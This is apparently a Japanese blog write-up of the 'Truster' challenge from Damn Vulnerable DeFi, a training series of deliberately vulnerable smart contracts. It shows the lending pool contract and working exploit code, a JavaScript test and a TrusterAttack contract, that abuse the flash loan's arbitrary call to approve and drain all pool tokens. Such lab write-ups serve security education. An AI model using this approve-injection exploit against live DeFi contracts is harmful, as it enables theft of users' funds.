moon

moon

Build for builders on blockchain
github
twitter

Defiハッカーシリーズ:Damn Vulnerable DeFi(三)- Truster

Damn Vulnerable DeFiは、DeFi スマートコントラクト攻撃のチャレンジシリーズです。内容には、フラッシュローン攻撃、レンディングプール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript に関連するスキルが必要です。各問題に対して、単体テストがパスすることを確認する必要があります。

問題リンク:https://www.damnvulnerabledefi.xyz/challenges/3.html

問題の説明:

レンディングプールコントラクトがあり、DVT トークンのフラッシュローン機能を提供しています。このプールには 100 万個のトークンがありますが、あなたは一つも持っていません。あなたがする必要があるのは、一つのトランザクションでこのレンディングプールのトークンをすべて取り出すことです。

まず、レンディングプールコントラクトのソースコードを見てみましょう。

TrusterLenderPool.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {

    using Address for address;
		
    // token instance
    IERC20 public immutable damnValuableToken;

    constructor (address tokenAddress) {
        damnValuableToken = IERC20(tokenAddress);
    }
		
    // flash loan method
    // borrowAmount: amount to borrow
    // borrower: borrower address
    // target: address of the callback contract
    // data: calldata formed by the callback contract method and parameters
    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    )
        external
        nonReentrant
    {
        // Get the balance of DVT token in this contract
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // Transfer borrowAmount of DVT token to borrower address
        damnValuableToken.transfer(borrower, borrowAmount);
        // Call the callback method of target
        target.functionCall(data);

        // Ensure that the loan has been paid back
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

このスマートコントラクトからわかるように、flashLoan メソッドを使用してすべてのトークンを取り出すことはできません。なぜなら、最後に残高のチェックが行われ、条件を満たさない場合はトランザクションがロールバックされるからです。

別のアプローチを考えてみましょう。もし、token コントラクトの transferFrom メソッドを呼び出すことができれば、次のようになります。

token.transForm(pool, attacker, account);

これにより、レンディングプールコントラクトのトークンが attacker アドレスに移動するため、目的を達成できます。

しかし、transForm を成功させるためには、token コントラクトの承認が必要です。ERC20 標準では、spender が呼び出し元のアカウントから amount のトークンを使用することに同意するための approve メソッドがあります。

この問題では、次のように借り手プールコントラクトで次のようなメソッドを呼び出すことができます:

token.approve(attacker, amount);

つまり、呼び出し元(借り手プールコントラクト)が attacker アドレスに amount のトークンを使用することに同意します。

しかし、借り手プールコントラクトには呼び出す場所がありませんが、flashLoanメソッドの内部でtarget.functionCall(data)というコードがあることに気付きます。これは、内部でtarget.call(data)を実行しています。

スマートコントラクト間の相互作用はすべて calldata を介して行われます。例えば:
0x6057361d000000000000000000000000000000000000000000000000000000000000000a
最初の 4 バイト(6057361d)は関数のセレクタ(関数の識別子)であり、残りの部分は関数に渡される入力パラメータです。
コントラクト内で calldata を構築するために、abi.encodeWithSignature ("関数名 (... パラメータの型)", ...params) を使用できます。

したがって、この問題では、target は token コントラクトのアドレスであり、data は approve メソッドです。以下のように JavaScript で data を構築できます。

const abi = [
  'function approve(address, uint256) external'
]
const iface = new ethers.utils.Interface(abi)
const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])

その後、flashLoan メソッドを呼び出し、対応するパラメータを渡すことができます。成功した場合、レンディングプールコントラクトの残高は attacker が操作できるようになります。以下はコードの例です。

it('Exploit', async function () {
  const abi = [
    'function approve(address, uint256) external'
  ]
  const iface = new ethers.utils.Interface(abi)
  const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])

  await this.pool.flashLoan(0, deployer.address, this.token.address, data)
  await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL)
})

yarn trusterを実行してテストを実行します。テストがパスすることを確認します。

しかし、問題では一つのトランザクションを実行する必要がありますが、私たちのコードは要件を満たしていません。そのため、スマートコントラクトを使用してトランザクションを実行できます。

TrusterAttack.sol

pragma solidity ^0.8.0;

import "../truster/TrusterLenderPool.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TrusterAttack {
  TrusterLenderPool public pool;
  IERC20 public token;

  constructor(address _pool, address _token) {
    pool = TrusterLenderPool(_pool);
    token = IERC20(_token);
  }

  function attack(address borrower) external {
    address sender = msg.sender;
    bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max);
    pool.flashLoan(0, borrower, address(token), data);

    token.transferFrom(address(pool), sender, token.balanceOf(address(pool)));
  }
}

その後、テストケースでコントラクトをデプロイし、attack メソッドを実行します。

it('Exploit', async function () {
  const TrusterAttack = await ethers.getContractFactory('TrusterAttack', deployer)
  const trusterAttack = await TrusterAttack.deploy(this.pool.address, this.token.address)

  await trusterAttack.connect(attacker).attack(deployer.address)
})

最後に、yarn trusterを実行してテストを実行します。テストがパスすることを確認します。

完全なコード

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。